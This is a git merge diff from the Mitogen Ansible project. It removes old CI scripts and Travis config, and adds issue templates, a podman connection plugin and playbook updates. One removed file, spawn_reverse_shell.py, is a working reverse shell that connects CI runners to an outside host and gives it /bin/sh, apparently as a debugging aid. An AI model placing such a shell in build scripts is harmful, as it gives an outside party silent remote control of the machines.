Merge branch 'master' into docs-master
commit
f0eb801448
@ -1,97 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
|
|
||||||
import ci_lib
|
|
||||||
|
|
||||||
batches = []
|
|
||||||
|
|
||||||
if 0 and os.uname()[0] == 'Linux':
|
|
||||||
batches += [
|
|
||||||
[
|
|
||||||
"sudo chown `whoami`: ~",
|
|
||||||
"chmod u=rwx,g=rx,o= ~",
|
|
||||||
|
|
||||||
"sudo mkdir /var/run/sshd",
|
|
||||||
"sudo /etc/init.d/ssh start",
|
|
||||||
|
|
||||||
"mkdir -p ~/.ssh",
|
|
||||||
"chmod u=rwx,go= ~/.ssh",
|
|
||||||
|
|
||||||
"ssh-keyscan -H localhost >> ~/.ssh/known_hosts",
|
|
||||||
"chmod u=rw,go= ~/.ssh/known_hosts",
|
|
||||||
|
|
||||||
"cat tests/data/docker/mitogen__has_sudo_pubkey.key > ~/.ssh/id_rsa",
|
|
||||||
"chmod u=rw,go= ~/.ssh/id_rsa",
|
|
||||||
|
|
||||||
"cat tests/data/docker/mitogen__has_sudo_pubkey.key.pub > ~/.ssh/authorized_keys",
|
|
||||||
"chmod u=rw,go=r ~/.ssh/authorized_keys",
|
|
||||||
]
|
|
||||||
]
|
|
||||||
|
|
||||||
# setup venv, need all python commands in 1 list to be subprocessed at the same time
|
|
||||||
venv_steps = []
|
|
||||||
|
|
||||||
need_to_fix_psycopg2 = False
|
|
||||||
|
|
||||||
is_python3 = os.environ['PYTHONVERSION'].startswith('3')
|
|
||||||
|
|
||||||
# @dw: The VSTS-shipped Pythons available via UsePythonVErsion are pure garbage,
|
|
||||||
# broken symlinks, incorrect permissions and missing codecs. So we use the
|
|
||||||
# deadsnakes PPA to get sane Pythons, and setup a virtualenv to install our
|
|
||||||
# stuff into. The virtualenv can probably be removed again, but this was a
|
|
||||||
# hard-fought battle and for now I am tired of this crap.
|
|
||||||
if ci_lib.have_apt():
|
|
||||||
venv_steps.extend([
|
|
||||||
'echo force-unsafe-io | sudo tee /etc/dpkg/dpkg.cfg.d/nosync',
|
|
||||||
'sudo add-apt-repository ppa:deadsnakes/ppa',
|
|
||||||
'sudo apt-get update',
|
|
||||||
'sudo apt-get -y install '
|
|
||||||
'python{pv} '
|
|
||||||
'python{pv}-dev '
|
|
||||||
'libsasl2-dev '
|
|
||||||
'libldap2-dev '
|
|
||||||
.format(pv=os.environ['PYTHONVERSION']),
|
|
||||||
'sudo ln -fs /usr/bin/python{pv} /usr/local/bin/python{pv}'
|
|
||||||
.format(pv=os.environ['PYTHONVERSION'])
|
|
||||||
])
|
|
||||||
if is_python3:
|
|
||||||
venv_steps.append('sudo apt-get -y install python{pv}-venv'.format(pv=os.environ['PYTHONVERSION']))
|
|
||||||
# TODO: somehow `Mito36CentOS6_26` has both brew and apt installed https://dev.azure.com/dw-mitogen/Mitogen/_build/results?buildId=1031&view=logs&j=7bdbcdc6-3d3e-568d-ccf8-9ddca1a9623a&t=73d379b6-4eea-540f-c97e-046a2f620483
|
|
||||||
elif is_python3 and ci_lib.have_brew():
|
|
||||||
# Mac's System Integrity Protection prevents symlinking /usr/bin
|
|
||||||
# and Azure isn't allowing disabling it apparently: https://developercommunityapi.westus.cloudapp.azure.com/idea/558702/allow-disabling-sip-on-microsoft-hosted-macos-agen.html
|
|
||||||
# so we'll use /usr/local/bin/python for everything
|
|
||||||
# /usr/local/bin/python2.7 already exists!
|
|
||||||
need_to_fix_psycopg2 = True
|
|
||||||
venv_steps.append(
|
|
||||||
'brew install python@{pv} postgresql'
|
|
||||||
.format(pv=os.environ['PYTHONVERSION'])
|
|
||||||
)
|
|
||||||
|
|
||||||
# need wheel before building virtualenv because of bdist_wheel and setuptools deps
|
|
||||||
venv_steps.append('/usr/local/bin/python{pv} -m pip install -U pip wheel setuptools'.format(pv=os.environ['PYTHONVERSION']))
|
|
||||||
|
|
||||||
if os.environ['PYTHONVERSION'].startswith('2'):
|
|
||||||
venv_steps.extend([
|
|
||||||
'/usr/local/bin/python{pv} -m pip install -U virtualenv'.format(pv=os.environ['PYTHONVERSION']),
|
|
||||||
'/usr/local/bin/python{pv} -m virtualenv /tmp/venv -p /usr/local/bin/python{pv}'.format(pv=os.environ['PYTHONVERSION'])
|
|
||||||
])
|
|
||||||
else:
|
|
||||||
venv_steps.append('/usr/local/bin/python{pv} -m venv /tmp/venv'.format(pv=os.environ['PYTHONVERSION']))
|
|
||||||
# fixes https://stackoverflow.com/questions/59595649/can-not-install-psycopg2-on-macos-catalina https://github.com/Azure/azure-cli/issues/12854#issuecomment-619213863
|
|
||||||
if need_to_fix_psycopg2:
|
|
||||||
venv_steps.append('/tmp/venv/bin/pip3 install psycopg2==2.8.5 psycopg2-binary')
|
|
||||||
|
|
||||||
batches.append(venv_steps)
|
|
||||||
|
|
||||||
|
|
||||||
if ci_lib.have_docker():
|
|
||||||
batches.extend(
|
|
||||||
['docker pull %s' % (ci_lib.image_for_distro(distro),)]
|
|
||||||
for distro in ci_lib.DISTROS
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
ci_lib.run_batches(batches)
|
|
@ -1,36 +0,0 @@
|
|||||||
#!/usr/bin/env python
|
|
||||||
|
|
||||||
"""
|
|
||||||
Allow poking around Azure while the job is running.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
|
||||||
import pty
|
|
||||||
import socket
|
|
||||||
import subprocess
|
|
||||||
import sys
|
|
||||||
import time
|
|
||||||
|
|
||||||
|
|
||||||
if os.fork():
|
|
||||||
sys.exit(0)
|
|
||||||
|
|
||||||
|
|
||||||
def try_once():
|
|
||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
s.connect(("k3.botanicus.net", 9494))
|
|
||||||
open('/tmp/interactive', 'w').close()
|
|
||||||
|
|
||||||
os.dup2(s.fileno(), 0)
|
|
||||||
os.dup2(s.fileno(), 1)
|
|
||||||
os.dup2(s.fileno(), 2)
|
|
||||||
p = pty.spawn("/bin/sh")
|
|
||||||
|
|
||||||
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
try_once()
|
|
||||||
except:
|
|
||||||
time.sleep(5)
|
|
||||||
continue
|
|
||||||
|
|
@ -1,35 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# workaround from https://stackoverflow.com/a/26082445 to handle Travis 4MB log limit
|
|
||||||
set -e
|
|
||||||
|
|
||||||
export PING_SLEEP=30s
|
|
||||||
export WORKDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
|
|
||||||
export BUILD_OUTPUT=$WORKDIR/build.out
|
|
||||||
|
|
||||||
touch $BUILD_OUTPUT
|
|
||||||
|
|
||||||
dump_output() {
|
|
||||||
echo Tailing the last 1000 lines of output:
|
|
||||||
tail -1000 $BUILD_OUTPUT
|
|
||||||
}
|
|
||||||
error_handler() {
|
|
||||||
echo ERROR: An error was encountered with the build.
|
|
||||||
dump_output
|
|
||||||
kill $PING_LOOP_PID
|
|
||||||
exit 1
|
|
||||||
}
|
|
||||||
# If an error occurs, run our error handler to output a tail of the build
|
|
||||||
trap 'error_handler' ERR
|
|
||||||
|
|
||||||
# Set up a repeating loop to send some output to Travis.
|
|
||||||
|
|
||||||
bash -c "while true; do echo \$(date) - building ...; sleep $PING_SLEEP; done" &
|
|
||||||
PING_LOOP_PID=$!
|
|
||||||
|
|
||||||
.ci/${MODE}_tests.py >> $BUILD_OUTPUT 2>&1
|
|
||||||
|
|
||||||
# The build finished without returning an error so dump a tail of the output
|
|
||||||
dump_output
|
|
||||||
|
|
||||||
# nicely terminate the ping output loop
|
|
||||||
kill $PING_LOOP_PID
|
|
@ -0,0 +1,33 @@
|
|||||||
|
---
|
||||||
|
name: Mitogen 0.2.x bug report
|
||||||
|
about: Report a bug in Mitogen 0.2.x (for Ansible 2.5, 2.6, 2.7, 2.8, or 2.9)
|
||||||
|
title: ''
|
||||||
|
labels: affects-0.2, bug
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
Please drag-drop large logs as text file attachments.
|
||||||
|
|
||||||
|
Feel free to write an issue in your preferred format, however if in doubt, use
|
||||||
|
the following checklist as a guide for what to include.
|
||||||
|
|
||||||
|
* Which version of Ansible are you running?
|
||||||
|
* Is your version of Ansible patched in any way?
|
||||||
|
* Are you running with any custom modules, or `module_utils` loaded?
|
||||||
|
|
||||||
|
* Have you tried the latest master version from Git?
|
||||||
|
* Do you have some idea of what the underlying problem may be?
|
||||||
|
https://mitogen.networkgenomics.com/ansible_detailed.html#common-problems has
|
||||||
|
instructions to help figure out the likely cause and how to gather relevant
|
||||||
|
logs.
|
||||||
|
* Mention your host and target OS and versions
|
||||||
|
* Mention your host and target Python versions
|
||||||
|
* If reporting a performance issue, mention the number of targets and a rough
|
||||||
|
description of your workload (lots of copies, lots of tiny file edits, etc.)
|
||||||
|
* If reporting a crash or hang in Ansible, please rerun with -vvv and include
|
||||||
|
200 lines of output around the point of the error, along with a full copy of
|
||||||
|
any traceback or error text in the log. Beware "-vvv" may include secret
|
||||||
|
data! Edit as necessary before posting.
|
||||||
|
* If reporting any kind of problem with Ansible, please include the Ansible
|
||||||
|
version along with output of "ansible-config dump --only-changed".
|
@ -1,3 +1,11 @@
|
|||||||
|
---
|
||||||
|
name: Mitogen 0.3.x bug report
|
||||||
|
about: Report a bug in Mitogen 0.3.x (for Ansible 2.10.x)
|
||||||
|
title: ''
|
||||||
|
labels: affects-0.3, bug
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
Please drag-drop large logs as text file attachments.
|
Please drag-drop large logs as text file attachments.
|
||||||
|
|
@ -1,82 +0,0 @@
|
|||||||
sudo: required
|
|
||||||
dist: trusty
|
|
||||||
|
|
||||||
notifications:
|
|
||||||
email: false
|
|
||||||
irc: "chat.freenode.net#mitogen-builds"
|
|
||||||
|
|
||||||
language: python
|
|
||||||
|
|
||||||
branches:
|
|
||||||
except:
|
|
||||||
- docs-master
|
|
||||||
|
|
||||||
cache:
|
|
||||||
- pip
|
|
||||||
- directories:
|
|
||||||
- /home/travis/virtualenv
|
|
||||||
|
|
||||||
install:
|
|
||||||
- grep -Erl git-lfs\|couchdb /etc/apt | sudo xargs rm -v
|
|
||||||
- pip install -U pip==20.2.1
|
|
||||||
- .ci/${MODE}_install.py
|
|
||||||
|
|
||||||
# Travis has a 4MB log limit (https://github.com/travis-ci/travis-ci/issues/1382), but verbose Mitogen logs run larger than that
|
|
||||||
# in order to keep verbosity to debug a build failure, will run with this workaround: https://stackoverflow.com/a/26082445
|
|
||||||
script:
|
|
||||||
- .ci/spawn_reverse_shell.py
|
|
||||||
- MODE=${MODE} .ci/travis.sh
|
|
||||||
|
|
||||||
# To avoid matrix explosion, just test against oldest->newest and
|
|
||||||
# newest->oldest in various configuartions.
|
|
||||||
|
|
||||||
matrix:
|
|
||||||
include:
|
|
||||||
# Debops tests.
|
|
||||||
# NOTE: debops tests turned off for Ansible 2.10: https://github.com/debops/debops/issues/1521
|
|
||||||
# 2.10; 3.6 -> 2.7
|
|
||||||
# - python: "3.6"
|
|
||||||
# env: MODE=debops_common VER=2.10.0
|
|
||||||
# 2.10; 2.7 -> 2.7
|
|
||||||
# - python: "2.7"
|
|
||||||
# env: MODE=debops_common VER=2.10.0
|
|
||||||
|
|
||||||
# Sanity check against vanilla Ansible. One job suffices.
|
|
||||||
# https://github.com/dw/mitogen/pull/715#issuecomment-719266420 migrating to Azure for now due to Travis 50 min time limit cap
|
|
||||||
# azure lets us adjust the cap, and the current STRATEGY=linear tests take up to 1.5 hours to finish
|
|
||||||
# - python: "2.7"
|
|
||||||
# env: MODE=ansible VER=2.10.0 DISTROS=debian STRATEGY=linear
|
|
||||||
|
|
||||||
# ansible_mitogen tests.
|
|
||||||
|
|
||||||
# 2.10 -> {debian, centos6, centos7}
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=ansible VER=2.10.0
|
|
||||||
# 2.10 -> {debian, centos6, centos7}
|
|
||||||
- python: "2.7"
|
|
||||||
env: MODE=ansible VER=2.10.0
|
|
||||||
# 2.10 -> {debian, centos6, centos7}
|
|
||||||
# - python: "2.6"
|
|
||||||
# env: MODE=ansible VER=2.10.0
|
|
||||||
|
|
||||||
# 2.10 -> {centos5}
|
|
||||||
# - python: "2.6"
|
|
||||||
# env: MODE=ansible DISTROS=centos5 VER=2.10.0
|
|
||||||
|
|
||||||
# Mitogen tests.
|
|
||||||
# 2.4 -> 2.4
|
|
||||||
# - language: c
|
|
||||||
# env: MODE=mitogen_py24 DISTROS=centos5 VER=2.10.0
|
|
||||||
# 2.7 -> 2.7 -- moved to Azure
|
|
||||||
# 2.7 -> 2.6
|
|
||||||
#- python: "2.7"
|
|
||||||
#env: MODE=mitogen DISTRO=centos6
|
|
||||||
- python: "3.6"
|
|
||||||
env: MODE=mitogen DISTROS=centos7 VER=2.10.0
|
|
||||||
# 2.6 -> 2.7
|
|
||||||
# - python: "2.6"
|
|
||||||
# env: MODE=mitogen DISTROS=centos7 VER=2.10.0
|
|
||||||
# 2.6 -> 3.5
|
|
||||||
# - python: "2.6"
|
|
||||||
# env: MODE=mitogen DISTROS=debian-py3 VER=2.10.0
|
|
||||||
# 3.6 -> 2.6 -- moved to Azure
|
|
@ -1,12 +1,9 @@
|
|||||||
# Mitogen
|
# Mitogen
|
||||||
|
|
||||||
<!-- [![Build Status](https://travis-ci.org/dw/mitogen.png?branch=master)](https://travis-ci.org/dw/mitogen}) -->
|
|
||||||
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
<a href="https://mitogen.networkgenomics.com/">Please see the documentation</a>.
|
||||||
|
|
||||||
![](https://i.imgur.com/eBM6LhJ.gif)
|
![](https://i.imgur.com/eBM6LhJ.gif)
|
||||||
|
|
||||||
[![Total alerts](https://img.shields.io/lgtm/alerts/g/dw/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/dw/mitogen/alerts/)
|
[![Total alerts](https://img.shields.io/lgtm/alerts/g/mitogen-hq/mitogen.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/mitogen-hq/mitogen/alerts/)
|
||||||
|
|
||||||
[![Build Status](https://travis-ci.org/dw/mitogen.svg?branch=master)](https://travis-ci.org/dw/mitogen)
|
[![Build Status](https://dev.azure.com/mitogen-hq/mitogen/_apis/build/status/mitogen-hq.mitogen?branchName=master)](https://dev.azure.com/mitogen-hq/mitogen/_build/latest?definitionId=1&branchName=master)
|
||||||
|
|
||||||
[![Pipelines Status](https://dev.azure.com/dw-mitogen/Mitogen/_apis/build/status/dw.mitogen?branchName=master)](https://dev.azure.com/dw-mitogen/Mitogen/_build/latest?definitionId=1?branchName=master)
|
|
||||||
|
@ -0,0 +1,46 @@
|
|||||||
|
# Copyright 2022, Mitogen contributers
|
||||||
|
#
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions are met:
|
||||||
|
#
|
||||||
|
# 1. Redistributions of source code must retain the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer.
|
||||||
|
#
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
#
|
||||||
|
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||||
|
# may be used to endorse or promote products derived from this software without
|
||||||
|
# specific prior written permission.
|
||||||
|
#
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||||
|
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
|
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
|
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
|
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||||
|
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
# POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
from __future__ import absolute_import, division, print_function
|
||||||
|
__metaclass__ = type
|
||||||
|
|
||||||
|
import os.path
|
||||||
|
import sys
|
||||||
|
|
||||||
|
try:
|
||||||
|
import ansible_mitogen
|
||||||
|
except ImportError:
|
||||||
|
base_dir = os.path.dirname(__file__)
|
||||||
|
sys.path.insert(0, os.path.abspath(os.path.join(base_dir, '../../..')))
|
||||||
|
del base_dir
|
||||||
|
|
||||||
|
import ansible_mitogen.connection
|
||||||
|
|
||||||
|
|
||||||
|
class Connection(ansible_mitogen.connection.Connection):
|
||||||
|
transport = 'podman'
|
@ -0,0 +1,14 @@
|
|||||||
|
from __future__ import absolute_import, division, print_function
|
||||||
|
__metaclass__ = type
|
||||||
|
|
||||||
|
import distutils.version
|
||||||
|
|
||||||
|
import ansible
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
'ansible_version',
|
||||||
|
]
|
||||||
|
|
||||||
|
ansible_version = tuple(distutils.version.LooseVersion(ansible.__version__).version)
|
||||||
|
del distutils
|
||||||
|
del ansible
|
@ -0,0 +1,73 @@
|
|||||||
|
# Copyright 2019, David Wilson
|
||||||
|
# Copyright 2021, Mitogen contributors
|
||||||
|
#
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions are met:
|
||||||
|
#
|
||||||
|
# 1. Redistributions of source code must retain the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer.
|
||||||
|
#
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
#
|
||||||
|
# 3. Neither the name of the copyright holder nor the names of its contributors
|
||||||
|
# may be used to endorse or promote products derived from this software without
|
||||||
|
# specific prior written permission.
|
||||||
|
#
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
|
||||||
|
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||||
|
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||||
|
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||||
|
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||||
|
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
# POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
# !mitogen: minify_safe
|
||||||
|
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import mitogen.parent
|
||||||
|
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class Options(mitogen.parent.Options):
|
||||||
|
container = None
|
||||||
|
username = None
|
||||||
|
podman_path = 'podman'
|
||||||
|
|
||||||
|
def __init__(self, container=None, podman_path=None, username=None,
|
||||||
|
**kwargs):
|
||||||
|
super(Options, self).__init__(**kwargs)
|
||||||
|
assert container is not None
|
||||||
|
self.container = container
|
||||||
|
if podman_path:
|
||||||
|
self.podman_path = podman_path
|
||||||
|
if username:
|
||||||
|
self.username = username
|
||||||
|
|
||||||
|
|
||||||
|
class Connection(mitogen.parent.Connection):
|
||||||
|
options_class = Options
|
||||||
|
child_is_immediate_subprocess = False
|
||||||
|
|
||||||
|
# TODO: better way of capturing errors such as "No such container."
|
||||||
|
create_child_args = {
|
||||||
|
'merge_stdio': True
|
||||||
|
}
|
||||||
|
|
||||||
|
def _get_name(self):
|
||||||
|
return u'podman.' + self.options.container
|
||||||
|
|
||||||
|
def get_boot_command(self):
|
||||||
|
args = [self.options.podman_path, 'exec']
|
||||||
|
if self.options.username:
|
||||||
|
args += ['--user=' + self.options.username]
|
||||||
|
args += ["--interactive", "--", self.options.container]
|
||||||
|
return args + super(Connection, self).get_boot_command()
|
@ -1,3 +1,6 @@
|
|||||||
- include: regression/all.yml
|
- import_playbook: setup/all.yml
|
||||||
- include: integration/all.yml
|
tags: setup
|
||||||
|
- import_playbook: regression/all.yml
|
||||||
|
tags: regression
|
||||||
|
- import_playbook: integration/all.yml
|
||||||
|
tags: integration
|
||||||
|
@ -1,10 +1,10 @@
|
|||||||
- include: copy.yml
|
- import_playbook: copy.yml
|
||||||
- include: fixup_perms2__copy.yml
|
- import_playbook: fixup_perms2__copy.yml
|
||||||
- include: low_level_execute_command.yml
|
- import_playbook: low_level_execute_command.yml
|
||||||
- include: make_tmp_path.yml
|
- import_playbook: make_tmp_path.yml
|
||||||
- include: make_tmp_path__double.yml
|
- import_playbook: make_tmp_path__double.yml
|
||||||
- include: remote_expand_user.yml
|
- import_playbook: remote_expand_user.yml
|
||||||
- include: remote_file_exists.yml
|
- import_playbook: remote_file_exists.yml
|
||||||
- include: remove_tmp_path.yml
|
- import_playbook: remove_tmp_path.yml
|
||||||
- include: synchronize.yml
|
- import_playbook: synchronize.yml
|
||||||
- include: transfer_data.yml
|
- import_playbook: transfer_data.yml
|
||||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue